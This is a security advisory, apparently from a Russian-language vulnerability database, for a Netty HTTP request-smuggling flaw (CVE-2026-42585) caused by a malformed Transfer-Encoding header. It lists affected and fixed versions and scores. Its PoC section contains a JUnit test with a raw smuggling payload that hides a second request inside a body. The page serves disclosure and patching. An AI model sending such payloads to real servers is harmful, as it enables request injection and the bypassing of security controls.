GHSA-38f8-5428-x5cv

Опубликовано: 07 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 6.5

Описание

Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Ссылки

Пакеты

Наименование

io.netty:netty-codec-http

maven

Затронутые версииВерсия исправления

>= 4.2.0.Alpha1, <= 4.2.12.Final

4.2.13.Final

Наименование

io.netty:netty-codec-http

maven

Затронутые версииВерсия исправления

<= 4.1.132.Final

4.1.133.Final

EPSS

Процентиль: 16%

0.00248

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-42585

Дефекты

CWE-444

Связанные уязвимости

CVE-2026-42585

CVSS3: 6.5

ubuntu

3 месяца назад

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVE-2026-42585

CVSS3: 6.5

redhat

3 месяца назад

CVE-2026-42585

CVSS3: 6.5

nvd

3 месяца назад

CVE-2026-42585

CVSS3: 6.5

debian

3 месяца назад

Netty is an asynchronous, event-driven network application framework. ...

BDU:2026-09833

CVSS3: 7.5

fstec

3 месяца назад

Уязвимость модуля netty-codec-http фреймворка для разработки сетевых приложений, серверов и клиентов протоколов Netty, позволяющая нарушителю внедрить произвольные HTTP-запросы

EPSS

Процентиль: 16%

0.00248

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-42585

Дефекты

CWE-444